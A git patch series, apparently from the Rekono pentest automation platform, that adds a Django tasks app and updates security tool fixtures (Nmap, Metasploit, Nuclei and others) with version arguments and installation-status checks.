@@ + diff --git a/src/backend/tasks/admin.py b/src/backend/tasks/admin.py new file mode 100644 index 000000000..01cb3caaf --- /dev/null +++ b/src/backend/tasks/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from tasks.models import Task + +# Register your models here. + +admin.site.register(Task) diff --git a/src/backend/tasks/apps.py b/src/backend/tasks/apps.py new file mode 100644 index 000000000..5aadae04e --- /dev/null +++ b/src/backend/tasks/apps.py @@ -0,0 +1,5 @@ +from django.apps import AppConfig + + +class TasksConfig(AppConfig): + name = "tasks" diff --git a/src/backend/tasks/enums.py b/src/backend/tasks/enums.py new file mode 100644 index 000000000..39ec7f5da --- /dev/null +++ b/src/backend/tasks/enums.py @@ -0,0 +1,10 @@ +from django.db import models + + +class TimeUnit(models.TextChoices): + """Time units supported for Task scheduling and repeating configuration.""" + + MINUTES = "Minutes" + HOURS = "Hours" + DAYS = "Days" + WEEKS = "Weeks" diff --git a/src/backend/tasks/filters.py b/src/backend/tasks/filters.py new file mode 100644 index 000000000..8a24ed325 --- /dev/null +++ b/src/backend/tasks/filters.py @@ -0,0 +1,27 @@ +from django_filters.rest_framework import FilterSet +from tasks.models import Task + + +class TaskFilter(FilterSet): + class Meta: + model = Task + fields = { + "target": ["exact"], + "target__target": ["exact", "icontains"], + "target__project": ["exact"], + "target__project__name": ["exact", "icontains"], + "process": ["exact"], + "process__name": ["exact", "icontains"], + "configuration": ["exact"], + "configuration__name": ["exact", "icontains"], + "configuration__tool": ["exact"], + "configuration__tool__name": ["exact", "icontains"], + "configuration__stage": ["exact"], + "intensity": ["exact"], + "executor": ["exact"], + "executor__username": ["exact", "icontains"], + "creation": ["gte", "lte", "exact"], + "enqueued_at": ["gte", "lte", "exact"], + "start": ["gte", "lte", "exact"], + "end": ["gte", "lte", "exact"], + } diff --git a/src/backend/tasks/models.py b/src/backend/tasks/models.py new file mode 100644 index 000000000..a74ed38b0 --- /dev/null +++ b/src/backend/tasks/models.py @@ -0,0 +1,79 @@ +from django.db import models +from executions.enums import Status +from processes.models import Process +from rekono.settings import AUTH_USER_MODEL +from security.utils.input_validator import TimeValidator +from targets.models import Target +from tasks.enums import TimeUnit +from tools.enums import Intensity +from tools.models import Configuration +from wordlists.models import Wordlist + +# Create your models here. + + +class Task(models.Model): + """Task model.""" + + # Job Id in the tasks queue + rq_job_id = models.TextField(max_length=50, blank=True, null=True) + target = models.ForeignKey(Target, related_name="tasks", on_delete=models.CASCADE) + process = models.ForeignKey( + Process, blank=True, null=True, on_delete=models.SET_NULL + ) + configuration = models.ForeignKey( + Configuration, on_delete=models.SET_NULL, blank=True, null=True + ) + intensity = models.IntegerField(choices=Intensity.choices, default=Intensity.NORMAL) + executor = models.ForeignKey( + AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True + ) + # Date when the task will be executed + scheduled_at = models.DateTimeField( + blank=True, + null=True, + validators=[TimeValidator("scheduled_at").future_datetime], + ) + # Amount of time before task execution + scheduled_in = models.IntegerField( + blank=True, + null=True, + validators=[TimeValidator("scheduled_in").time_amount], + ) + # Time unit to apply to the 'sheduled in' value + scheduled_time_unit = models.TextField( + max_length=10, choices=TimeUnit.choices, blank=True, null=True + ) + # Amount of time to wait until repeating the task execution + repeat_in = models.IntegerField( + blank=True, + null=True, + validators=[TimeValidator("repeat_in").time_amount], + ) + # Time unit to apply to the 'repeat in' value + repeat_time_unit = models.TextField( + max_length=10, choices=TimeUnit.choices, blank=True, null=True + ) + creation = models.DateTimeField(auto_now_add=True) + # Date at task got enqueued + enqueued_at = models.DateTimeField(blank=True, null=True) + start = models.DateTimeField(blank=True, null=True) + end = models.DateTimeField(blank=True, null=True) + wordlists = models.ManyToManyField(Wordlist, related_name="wordlists", blank=True) + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + value = f"{self.target.__str__()} - " + if self.process: + value += self.process.__str__() + elif self.configuration: + value += self.configuration.__str__() + return value + + @classmethod + def get_project_field(cls) -> str: + return "target__project" diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py new file mode 100644 index 000000000..61e6d5731 --- /dev/null +++ b/src/backend/tasks/serializers.py @@ -0,0 +1,100 @@ +from typing import Any, Dict + +from django.core.exceptions import ValidationError +from executions.serializers import ExecutionSerializer +from processes.serializers import SimpleProcessSerializer +from rest_framework.serializers import ModelSerializer +from targets.serializers import SimpleTargetSerializer +from tasks.models import Task +from tools.enums import Intensity +from tools.fields import IntegerChoicesField +from tools.models import Intensity +from tools.serializers import ConfigurationSerializer +from users.serializers import SimpleUserSerializer +from wordlists.serializers import WordlistSerializer + + +class TaskSerializer(ModelSerializer): + """Serializer to manage tasks via API.""" + + target = SimpleTargetSerializer(many=False) + process = SimpleProcessSerializer(many=False) + configuration = ConfigurationSerializer(many=False) + intensity = IntegerChoicesField(model=Intensity, required=False) + executor = SimpleUserSerializer(many=False, read_only=True) + wordlists = WordlistSerializer(many=False, read_only=True) + executions = ExecutionSerializer(many=False, read_only=True) + + class Meta: + model = Task + fields = ( + "id", + "target", + "process", + "configuration", + "intensity", + "executor", + "scheduled_at", + "scheduled_in", + "scheduled_time_unit", + "repeat_in", + "repeat_time_unit", + "creation", + "enqueued_at", + "start", + "end", + "wordlists", + "executions", + ) + read_only_fields = ( + "executor", + "creation", + "enqueued_at", + "start", + "end", + "wordlists", + "executions", + ) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + if not attrs.get("intensity"): + attrs["intensity"] = Intensity.NORMAL + if attrs.get("configuration"): + attrs["process"] = None + if not Intensity.objects.filter( + tool=attrs.get("configuration").tool, value=attrs.get("intensity") + ).exists(): + raise ValidationError( + f'Invalid intensity {attrs["intensity"]} for tool {attrs["tool"].name}', + code="intensity", + ) + elif attrs.get("process"): + attrs["configuration"] = None + else: + raise ValidationError( + { + "configuration": "Invalid task. Process or configuration is required", + "process": "Invalid task. Process or configuration is required", + } + ) + for field, unit in [ + ("scheduled_in", "scheduled_time_unit"), + ("repeat_in", "repeat_time_unit"), + ]: + if not attrs.get(field) or not attrs.get(unit): + attrs[field] = None + attrs[unit] = None + return super().validate(attrs) + + def create(self, validated_data: Dict[str, Any]) -> Task: + """Create instance from validated data. + + Args: + validated_data (Dict[str, Any]): Validated data + + Returns: + Task: Created instance + """ + task = super().create(validated_data) + # TODO: Enqueue task in tasks queue + return task diff --git a/src/backend/tasks/urls.py b/src/backend/tasks/urls.py new file mode 100644 index 000000000..8083d48c0 --- /dev/null +++ b/src/backend/tasks/urls.py @@ -0,0 +1,9 @@ +from rest_framework.routers import SimpleRouter +from tasks.views import TaskViewSet + +# Register your views here. + +router = SimpleRouter() +router.register('tasks', TaskViewSet) + +urlpatterns = router.urls diff --git a/src/backend/tasks/views.py b/src/backend/tasks/views.py new file mode 100644 index 000000000..7ee470126 --- /dev/null +++ b/src/backend/tasks/views.py @@ -0,0 +1,118 @@ +import logging +from typing import Any + +import django_rq +from django.utils import timezone +from drf_spectacular.utils import extend_schema +from executions.enums import Status +from framework.views import BaseViewSet +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.request import Request +from rest_framework.response import Response +from rq.command import send_stop_job_command +from tasks.filters import TaskFilter +from tasks.models import Task +from tasks.serializers import TaskSerializer + +# Create your views here. + +logger = logging.getLogger() + + +class TaskViewSet(BaseViewSet): + queryset = Task.objects.all() + serializer_class = TaskSerializer + filterset_class = TaskFilter + search_fields = [ + "target__target", + "process__name", + "process__steps__configuration__tool__name", + "configuration__name", + "configuration__tool__name", + ] + ordering_fields = [ + "id", + "target", + "process", + "configuration", + "configuration__tool", + "creation", + "enqueued_at", + "start", + "end", + ] + owner_field = "executor" + http_method_names = [ + "get", + "post", + "delete", + ] + + def destroy(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Cancel task. + + Args: + request (Request): Received HTTP request + + Returns: + Response: HTTP response + """ + task = self.get_object() + running_executions = task.executions.filter( + status__in=[Status.REQUESTED, Status.RUNNING] + ).all() + if running_executions: + if task.rq_job_id: + # TODO: cancel queue job + logger.info(f"[Task] Task {task.id} has been cancelled") + connection = django_rq.get_connection("executions-queue") + for execution in running_executions: + if execution.status == Status.RUNNING: + send_stop_job_command(connection, execution.rq_job_id) + else: + # TODO: cancel queue job + pass + logger.info(f"[Execution] Execution {execution.id} has been cancelled") + execution.status = Status.CANCELLED # Set execution status to Cancelled + execution.end = timezone.now() # Update execution end date + execution.save(update_fields=["status", "end"]) + task.end = timezone.now() + task.save(update_fields=["end"]) + return Response(status=status.HTTP_204_NO_CONTENT) + else: + logger.warning(f"[Task] Task {task.id} can't be cancelled") + return Response( + {"task": f"Task {task.id} can't be cancelled"}, + status=status.HTTP_400_BAD_REQUEST, + ) + + @extend_schema(request=None, responses={200: TaskSerializer}) + @action(detail=True, methods=["POST"], url_path="repeat", url_name="repeat") + def repeat_task(self, request: Request, pk: str) -> Response: + """Repeat task execution. + + Args: + request (Request): Received HTTP request + pk (str): Id of the task to repeat + + Returns: + Response: HTTP response + """ + task = self.get_object() + if task.is_running(): + return Response( + {"task": "Task is still running"}, status=status.HTTP_400_BAD_REQUEST + ) + new_task = Task.objects.create( + target=task.target, + process=task.process, + configuration=task.configuration, + intensity=task.intensity, + executor=request.user, + ) + new_task.wordlists.set(task.wordlists.all()) # Add wordlists from original task + # TODO: Enqueue new task + return Response( + TaskSerializer(instance=new_task).data, status=status.HTTP_201_CREATED + ) diff --git a/src/backend/tools/serializers.py b/src/backend/tools/serializers.py index e2f032130..846f9c3c1 100644 --- a/src/backend/tools/serializers.py +++ b/src/backend/tools/serializers.py @@ -1,5 +1,3 @@ -from typing import List - from framework.fields import IntegerChoicesField from framework.serializers import LikeSerializer from input_types.serializers import InputTypeSerializer diff --git a/src/backend/tools/views.py b/src/backend/tools/views.py index 0fcef4149..0e75d27d3 100644 --- a/src/backend/tools/views.py +++ b/src/backend/tools/views.py @@ -1,6 +1,4 @@ from framework.views import BaseViewSet, LikeViewSet -from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated -from security.authorization.permissions import IsAuditor from tools.filters import ConfigurationFilter, ToolFilter from tools.models import Configuration, Tool from tools.serializers import ConfigurationSerializer, ToolSerializer From 281c8424140eb9a41e730be6a58e3f2f3093751f Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Fri, 22 Sep 2023 21:42:31 +0200 Subject: [PATCH 016/141] Save tool version and installation status in database --- src/backend/security/authorization/roles.py | 39 ++---- src/backend/tools/apps.py | 7 ++ src/backend/tools/exceptions.py | 4 - src/backend/tools/filters.py | 2 + src/backend/tools/fixtures/1_tools.json | 130 +++++++++++++++++--- src/backend/tools/models.py | 68 ++++++++-- src/backend/tools/serializers.py | 2 + src/backend/users/apps.py | 18 +-- src/backend/wordlists/apps.py | 4 +- 9 files changed, 209 insertions(+), 65 deletions(-) delete mode 100644 src/backend/tools/exceptions.py diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index f823619c8..79bb06eda 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -11,7 +11,7 @@ class Role(models.TextChoices): READER = "Reader" -PERMISSIONS = { +ROLES = { "apitoken": { "view": [Role.ADMIN, Role.AUDITOR, Role.READER], "add": [Role.ADMIN, Role.AUDITOR, Role.READER], @@ -102,18 +102,18 @@ class Role(models.TextChoices): "change": [Role.ADMIN, Role.AUDITOR], "delete": [], }, - # "process": { - # "view": [Role.ADMIN, Role.AUDITOR], - # "add": [Role.ADMIN, Role.AUDITOR], - # "change": [Role.ADMIN, Role.AUDITOR], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, - # "step": { - # "view": [Role.ADMIN, Role.AUDITOR], - # "add": [Role.ADMIN, Role.AUDITOR], - # "change": [Role.ADMIN, Role.AUDITOR], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, + "process": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "step": { + "view": [Role.ADMIN, Role.AUDITOR], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [Role.ADMIN, Role.AUDITOR], + }, "tool": { "view": [Role.ADMIN, Role.AUDITOR], "add": [], @@ -181,16 +181,3 @@ class Role(models.TextChoices): "delete": [Role.ADMIN, Role.AUDITOR], }, } - - -def get_roles() -> Dict[Role, List[str]]: - roles = { - Role.ADMIN.value: [], - Role.AUDITOR.value: [], - Role.READER.value: [], - } - for entity, permissions in PERMISSIONS.items(): - for permission, assigned_roles in permissions.items(): - for assigned_role in assigned_roles: - roles[assigned_role].append(f"{permission}_{entity}") - return roles diff --git a/src/backend/tools/apps.py b/src/backend/tools/apps.py index 135d98eb8..cf64b8e2d 100644 --- a/src/backend/tools/apps.py +++ b/src/backend/tools/apps.py @@ -17,6 +17,7 @@ def ready(self) -> None: """Run code as soon as the registry is fully populated.""" # Configure fixtures to be loaded after migration post_migrate.connect(self.load_tools_models, sender=self) + post_migrate.connect(self.update_tools_status, sender=self) def load_tools_models(self, **kwargs: Any) -> None: """Load tools fixtures in database.""" @@ -30,3 +31,9 @@ def load_tools_models(self, **kwargs: Any) -> None: os.path.join(path, "5_inputs.json"), os.path.join(path, "6_outputs.json"), ) + + def update_tools_status(self, **kwargs: Any) -> None: + from tools.models import Tool + + for tool in Tool.objects.all(): + tool.update_status() diff --git a/src/backend/tools/exceptions.py b/src/backend/tools/exceptions.py deleted file mode 100644 index da4dbe540..000000000 --- a/src/backend/tools/exceptions.py +++ /dev/null @@ -1,4 +0,0 @@ -class ToolNotInstalledException(Exception): - """Tool execution generic exception.""" - - pass diff --git a/src/backend/tools/filters.py b/src/backend/tools/filters.py index 626a33c40..7be9bffcb 100644 --- a/src/backend/tools/filters.py +++ b/src/backend/tools/filters.py @@ -9,6 +9,8 @@ class Meta: fields = { "name": ["exact", "icontains"], "command": ["exact", "icontains"], + "script": ["exact", "icontains"], + "is_installed": ["exact"], "version": ["exact", "icontains"], "configurations": ["exact"], "configurations__name": ["exact", "icontains"], diff --git a/src/backend/tools/fixtures/1_tools.json b/src/backend/tools/fixtures/1_tools.json index ed63879cf..6c9c96b7b 100644 --- a/src/backend/tools/fixtures/1_tools.json +++ b/src/backend/tools/fixtures/1_tools.json @@ -5,8 +5,13 @@ "fields": { "name": "Nmap", "command": "nmap", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--version", "output_format": "xml", "reference": "https://nmap.org/", "icon": "https://www.kali.org/tools/nmap/images/nmap-logo.svg" @@ -18,8 +23,13 @@ "fields": { "name": "Dirsearch", "command": "dirsearch", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": true, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--version", "output_format": "json", "reference": "https://github.com/maurosoria/dirsearch", "icon": "https://raw.githubusercontent.com/maurosoria/dirsearch/master/static/logo.png" @@ -31,8 +41,13 @@ "fields": { "name": "theHarvester", "command": "theHarvester", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--version", "output_format": "json", "reference": "https://github.com/laramies/theHarvester", "icon": "https://www.kali.org/tools/theharvester/images/theharvester-logo.svg" @@ -44,8 +59,13 @@ "fields": { "name": "Nikto", "command": "nikto", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": true, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "-Version", "output_format": "xml", "reference": "https://github.com/sullo/nikto", "icon": "https://www.kali.org/tools/nikto/images/nikto-logo.svg" @@ -57,8 +77,13 @@ "fields": { "name": "Sslscan", "command": "sslscan", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--version", "output_format": "xml", "reference": "https://github.com/rbsec/sslscan", "icon": "https://www.kali.org/tools/sslscan/images/sslscan-logo.svg" @@ -70,8 +95,13 @@ "fields": { "name": "SSLyze", "command": "sslyze", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": true, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--help", "output_format": "json", "reference": "https://nabla-c0d3.github.io/sslyze/documentation/", "icon": "https://www.kali.org/tools/sslyze/images/sslyze-logo.svg" @@ -83,8 +113,13 @@ "fields": { "name": "CMSeeK", "command": "cmseek", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--version", "output_format": "json", "reference": "https://github.com/Tuhinshubhra/CMSeeK/", "icon": "https://camo.githubusercontent.com/b1864e58e861aa4e938d17d4a50ae1a4bedec9cdb9e8b7ce7ac80a1b5cc711ed/68747470733a2f2f692e696d6775722e636f6d2f35565973316d322e706e67" @@ -96,8 +131,13 @@ "fields": { "name": "ZAP", "command": "zaproxy", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "-version", "output_format": "xml", "reference": "https://www.zaproxy.org/", "icon": "https://www.kali.org/tools/zaproxy/images/zaproxy-logo.svg" @@ -109,6 +149,11 @@ "fields": { "name": "SearchSploit", "command": "searchsploit", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, "version_argument": null, "output_format": "json", @@ -122,8 +167,13 @@ "fields": { "name": "Metasploit", "command": "msfconsole", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--version", "output_format": null, "reference": "https://www.metasploit.com/", "icon": "https://www.kali.org/tools/metasploit-framework/images/metasploit-framework-logo.svg" @@ -135,6 +185,11 @@ "fields": { "name": "Log4j Scan", "command": "python3", + "script": "log4j-scan.py", + "script_directory_property": "LOG4J_SCAN_DIR", + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, "version_argument": null, "output_format": null, @@ -148,8 +203,13 @@ "fields": { "name": "EmailFinder", "command": "emailfinder", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--version", "output_format": null, "reference": "https://github.com/Josue87/EmailFinder", "icon": null @@ -161,8 +221,13 @@ "fields": { "name": "EmailHarvester", "command": "emailharvester", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--help", "output_format": "txt", "reference": "https://github.com/maldevel/EmailHarvester", "icon": null @@ -174,8 +239,13 @@ "fields": { "name": "JoomScan", "command": "joomscan", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--version", "output_format": null, "reference": "https://github.com/OWASP/joomscan", "icon": "https://raw.githubusercontent.com/rezasp/Trash/master/joomscan.png" @@ -187,6 +257,11 @@ "fields": { "name": "GitLeaks", "command": "gitleaks", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": true, + "is_installed": false, "version": null, "version_argument": null, "output_format": "json", @@ -200,8 +275,13 @@ "fields": { "name": "SSH Audit", "command": "ssh-audit", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": true, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--help", "output_format": null, "reference": "https://github.com/jtesta/ssh-audit", "icon": null @@ -213,6 +293,11 @@ "fields": { "name": "SMBMap", "command": "smbmap", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, "version_argument": null, "output_format": null, @@ -226,8 +311,13 @@ "fields": { "name": "Nuclei", "command": "nuclei", + "script": null, + "script_directory_property": null, + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "--version", "output_format": "json", "reference": "https://nuclei.projectdiscovery.io", "icon": "https://nuclei.projectdiscovery.io/static/favicon.png" @@ -239,6 +329,11 @@ "fields": { "name": "Spring4Shell Scan", "command": "python3", + "script": "spring4shell-scan.py", + "script_directory_property": "SPRING4SHELL_SCAN_DIR", + "run_directory_property": null, + "ignore_exit_code": false, + "is_installed": false, "version": null, "version_argument": null, "output_format": null, @@ -252,8 +347,13 @@ "fields": { "name": "Gobuster", "command": "gobuster", + "script": null, + "script_directory_property": null, + "run_directory_property": "LOG4J_SCAN_DIR", + "ignore_exit_code": false, + "is_installed": false, "version": null, - "version_argument": null, + "version_argument": "version", "output_format": "txt", "reference": "https://github.com/OJ/gobuster", "icon": null diff --git a/src/backend/tools/models.py b/src/backend/tools/models.py index 8fc17b5cc..e4f1a4c6b 100644 --- a/src/backend/tools/models.py +++ b/src/backend/tools/models.py @@ -1,9 +1,14 @@ import importlib +import os +import re +import shutil +import subprocess from typing import Any from django.db import models from framework.models import BaseLike, BaseModel from input_types.models import InputType +from rekono.settings import CONFIG from tools.enums import Intensity as IntensityEnum from tools.enums import Stage @@ -13,28 +18,73 @@ class Tool(BaseLike): name = models.TextField(max_length=30, unique=True) command = models.TextField(max_length=30) + script = models.TextField(max_length=100, blank=True, null=True) + script_directory_property = models.TextField(max_length=100, blank=True, null=True) + run_directory_property = models.TextField(max_length=100, blank=True, null=True) + ignore_exit_code = models.BooleanField(default=False) + is_installed = models.BooleanField(default=False) version = models.TextField(max_length=100, blank=True, null=True) version_argument = models.TextField(max_length=30, blank=True, null=True) output_format = models.TextField(max_length=5, blank=True, null=True) reference = models.TextField(max_length=250, blank=True, null=True) icon = models.TextField(max_length=250, blank=True, null=True) - # TODO: replace typing by BaseParser def get_parser_class(self) -> Any: try: # nosemgrep: python.lang.security.audit.non-literal-import.non-literal-import - tools_module = importlib.import_module( - f'tools.tools.{self.name.lower().replace(" ", "_")}' + parser_module = importlib.import_module( + f'tools.parsers.{self.name.lower().replace(" ", "_")}' ) - # Get tool class - tool_class = getattr( - tools_module, + parser_class = getattr( + parser_module, self.name[0] + self.name[1:].replace(" ", ""), ) except (AttributeError, ModuleNotFoundError): # Error during import - tools_module = importlib.import_module("tools.parsers.base") - tool_class = getattr(tools_module, "BaseParser") - return tool_class + parser_module = importlib.import_module("tools.parsers.base") + parser_class = getattr(parser_module, "BaseParser") + return parser_class + + def update_status(self) -> None: + self.is_installed = ( + self.command + and shutil.which(self.command) is not None + and ( + (not self.script and not self.script_directory_property) + or ( + os.path.isdir( + getattr(CONFIG, self.script_directory_property.lower()) + ) + and os.path.isfile( + os.path.join( + getattr(CONFIG, self.script_directory_property.lower()), + self.script, + ) + ) + ) + ) + ) + update_fields = ["is_installed"] + if self.is_installed: + self.version = self._parse_version() + update_fields.append("version") + self.save(update_fields=update_fields) + + def _parse_version(self) -> str: + version_regex = r"(?!m)[a-z]?[\d]+\.[\d]+\.[\d]*-?[a-z]*" + if self.version_argument: + process = subprocess.run( + [i for i in [self.command, self.script, self.version_argument] if i], + capture_output=True, + ) + if process.returncode == 0: + output = (process.stdout or process.stderr).decode("utf-8").lower() + version = re.search( + version_regex, + # zaproxy returns the Java version at the first line + re.sub("java version [^\s]*", "", output), + ) + if version: + return version.group() def __str__(self) -> str: """Instance representation in text format. diff --git a/src/backend/tools/serializers.py b/src/backend/tools/serializers.py index 846f9c3c1..137435930 100644 --- a/src/backend/tools/serializers.py +++ b/src/backend/tools/serializers.py @@ -70,6 +70,8 @@ class Meta: "id", "name", "command", + "script", + "is_installed", "version", "reference", "icon", diff --git a/src/backend/users/apps.py b/src/backend/users/apps.py index 733d6369c..91f4f5f75 100644 --- a/src/backend/users/apps.py +++ b/src/backend/users/apps.py @@ -2,7 +2,7 @@ from django.apps import AppConfig from django.db.models.signals import post_migrate -from security.authorization.roles import get_roles +from security.authorization.roles import ROLES class UsersConfig(AppConfig): @@ -19,11 +19,11 @@ def initialize_user_groups(self, **kwargs: Any) -> None: permission_model = kwargs["apps"].get_model( app_label="auth", model_name="permission" ) - for role, permissions in get_roles().items(): - group, _ = group_model.objects.get_or_create(name=role) - group_permissions = [] - for permission_id in permissions: # For each permission - # Get permission model - permission = permission_model.objects.get(codename=permission_id) - group_permissions.append(permission) - group.permissions.set(group_permissions) + for entity, permissions in ROLES.items(): + for permission, assigned_roles in permissions.items(): + permission = permission_model.objects.get( + codename=f"{permission}_{entity}" + ) + for assigned_role in assigned_roles: + group, _ = group_model.objects.get_or_create(name=assigned_role) + group.permissions.add(permission) diff --git a/src/backend/wordlists/apps.py b/src/backend/wordlists/apps.py index 6ad1c7e9d..553e1aa46 100644 --- a/src/backend/wordlists/apps.py +++ b/src/backend/wordlists/apps.py @@ -14,10 +14,10 @@ class WordlistsConfig(AppConfig): def ready(self) -> None: """Run code as soon as the registry is fully populated.""" # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_wordlists_model, sender=self) + post_migrate.connect(self.load_wordlists_models, sender=self) post_migrate.connect(self.update_default_wordlists_size, sender=self) - def load_wordlists_model(self, **kwargs: Any) -> None: + def load_wordlists_models(self, **kwargs: Any) -> None: """Load input types fixtures in database.""" from wordlists.models import Wordlist From 87f39f50e05a32d33d871f0ad2d9545cc2d645b7 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sun, 8 Oct 2023 09:51:45 +0200 Subject: [PATCH 017/141] Migration of tool parsers, executors and queues --- src/backend/authentications/models.py | 8 +- src/backend/executions/filters.py | 2 +- src/backend/executions/models.py | 4 +- src/backend/executions/queues.py | 173 ++++++++++++ src/backend/findings/framework/models.py | 53 +++- src/backend/findings/models.py | 138 +++++++-- src/backend/findings/queues.py | 27 ++ src/backend/framework/models.py | 11 +- src/backend/framework/queues.py | 121 ++++++++ .../input_types/fixtures/1_input_types.json | 20 +- src/backend/input_types/models.py | 12 +- src/backend/input_types/serializers.py | 2 +- src/backend/parameters/models.py | 12 +- src/backend/security/middleware.py | 4 +- src/backend/target_ports/models.py | 4 +- src/backend/targets/models.py | 4 +- src/backend/tasks/queues.py | 175 ++++++++++++ src/backend/tasks/serializers.py | 3 +- src/backend/tasks/views.py | 16 +- src/backend/tools/executors/__init__.py | 0 src/backend/tools/executors/base.py | 263 ++++++++++++++++++ src/backend/tools/executors/cmseek.py | 23 ++ src/backend/tools/executors/gitleaks.py | 62 +++++ src/backend/tools/executors/gobuster.py | 23 ++ .../tools/fixtures/3_configurations.json | 2 +- src/backend/tools/models.py | 24 +- src/backend/tools/parsers/__init__.py | 0 src/backend/tools/parsers/base.py | 81 ++++++ src/backend/tools/parsers/cmseek.py | 118 ++++++++ src/backend/tools/parsers/dirsearch.py | 19 ++ src/backend/tools/parsers/emailfinder.py | 18 ++ src/backend/tools/parsers/emailharvester.py | 13 + src/backend/tools/parsers/gitleaks.py | 21 ++ src/backend/tools/parsers/gobuster.py | 44 +++ src/backend/tools/parsers/joomscan.py | 102 +++++++ src/backend/tools/parsers/log4j_scan.py | 8 + src/backend/tools/parsers/metasploit.py | 12 + src/backend/tools/parsers/nikto.py | 28 ++ src/backend/tools/parsers/nmap.py | 193 +++++++++++++ src/backend/tools/parsers/nuclei.py | 50 ++++ src/backend/tools/parsers/searchsploit.py | 17 ++ src/backend/tools/parsers/smbmap.py | 17 ++ .../tools/parsers/spring4shell_scan.py | 20 ++ src/backend/tools/parsers/ssh_audit.py | 55 ++++ src/backend/tools/parsers/sslscan.py | 95 +++++++ src/backend/tools/parsers/sslyze.py | 129 +++++++++ src/backend/tools/parsers/theharvester.py | 28 ++ src/backend/tools/parsers/zap.py | 61 ++++ src/backend/wordlists/models.py | 5 +- 49 files changed, 2248 insertions(+), 72 deletions(-) create mode 100644 src/backend/executions/queues.py create mode 100644 src/backend/findings/queues.py create mode 100644 src/backend/framework/queues.py create mode 100644 src/backend/tasks/queues.py create mode 100644 src/backend/tools/executors/__init__.py create mode 100644 src/backend/tools/executors/base.py create mode 100644 src/backend/tools/executors/cmseek.py create mode 100644 src/backend/tools/executors/gitleaks.py create mode 100644 src/backend/tools/executors/gobuster.py create mode 100644 src/backend/tools/parsers/__init__.py create mode 100644 src/backend/tools/parsers/base.py create mode 100644 src/backend/tools/parsers/cmseek.py create mode 100644 src/backend/tools/parsers/dirsearch.py create mode 100644 src/backend/tools/parsers/emailfinder.py create mode 100644 src/backend/tools/parsers/emailharvester.py create mode 100644 src/backend/tools/parsers/gitleaks.py create mode 100644 src/backend/tools/parsers/gobuster.py create mode 100644 src/backend/tools/parsers/joomscan.py create mode 100644 src/backend/tools/parsers/log4j_scan.py create mode 100644 src/backend/tools/parsers/metasploit.py create mode 100644 src/backend/tools/parsers/nikto.py create mode 100644 src/backend/tools/parsers/nmap.py create mode 100644 src/backend/tools/parsers/nuclei.py create mode 100644 src/backend/tools/parsers/searchsploit.py create mode 100644 src/backend/tools/parsers/smbmap.py create mode 100644 src/backend/tools/parsers/spring4shell_scan.py create mode 100644 src/backend/tools/parsers/ssh_audit.py create mode 100644 src/backend/tools/parsers/sslscan.py create mode 100644 src/backend/tools/parsers/sslyze.py create mode 100644 src/backend/tools/parsers/theharvester.py create mode 100644 src/backend/tools/parsers/zap.py diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index bbc0d3dab..726c88999 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -5,9 +5,9 @@ from django.db import models from framework.enums import InputKeyword from framework.models import BaseInput -from projects.models import Project from security.utils.input_validator import Regex, Validator from target_ports.models import TargetPort +from targets.models import Target # Create your models 